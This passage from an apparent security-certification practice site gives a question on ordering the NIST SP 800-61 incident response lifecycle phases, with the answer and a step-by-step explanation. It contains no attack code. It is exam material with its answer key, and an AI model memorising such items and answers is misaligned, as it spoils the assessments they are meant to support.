Network isolation prevents lateral movement and external command-and-control activity.

Stopping malware spread takes precedence over eradication, recovery, or post-incident review.

Key Concept

Incident Response Process and Playbooks

Question 160Question →

Place the core phases of the NIST SP 800-61 Incident Response Lifecycle in the correct sequential order from first to last.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct order of the NIST Incident Response Lifecycle phases is Preparation, Detection and Analysis, Containment, Eradication, and Recovery, and Post-Incident Activity.

The standard NIST SP 800-61 incident response framework follows a logical four-stage lifecycle. It begins with Preparation to establish capabilities, moves to Detection and Analysis to uncover and assess security events, continues to Containment, Eradication, and Recovery to mitigate and recover from the threat, and concludes with Post-Incident Activity to analyze lessons learned.

Step-by-Step Solution

Identify the foundation step required before any attack occurs.

Preparation is established first to equip the team with training and resources.

Without preparation, an organization cannot effectively detect or respond to security threats.

Determine the step that follows once operational monitoring begins.

Detection and Analysis comes second to identify security events and validate incidents.

An incident must be detected and analyzed before any mitigation measures can be applied.

Identify the active response phase after confirming an incident.

Containment, Eradication, and Recovery takes place third.

Once an incident is identified, responders work to stop threat propagation, eliminate the malware or malicious artifacts, and restore systems.

Identify the final phase following system restoration.

Post-Incident Activity concludes the lifecycle.

After operations return to normal, documenting lessons learned ensures continuous improvement of the security posture.

Key Concept

NIST SP 800-61 Incident Response Lifecycle Phases

PreviousPage 8 / 32Next

Security Operations

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept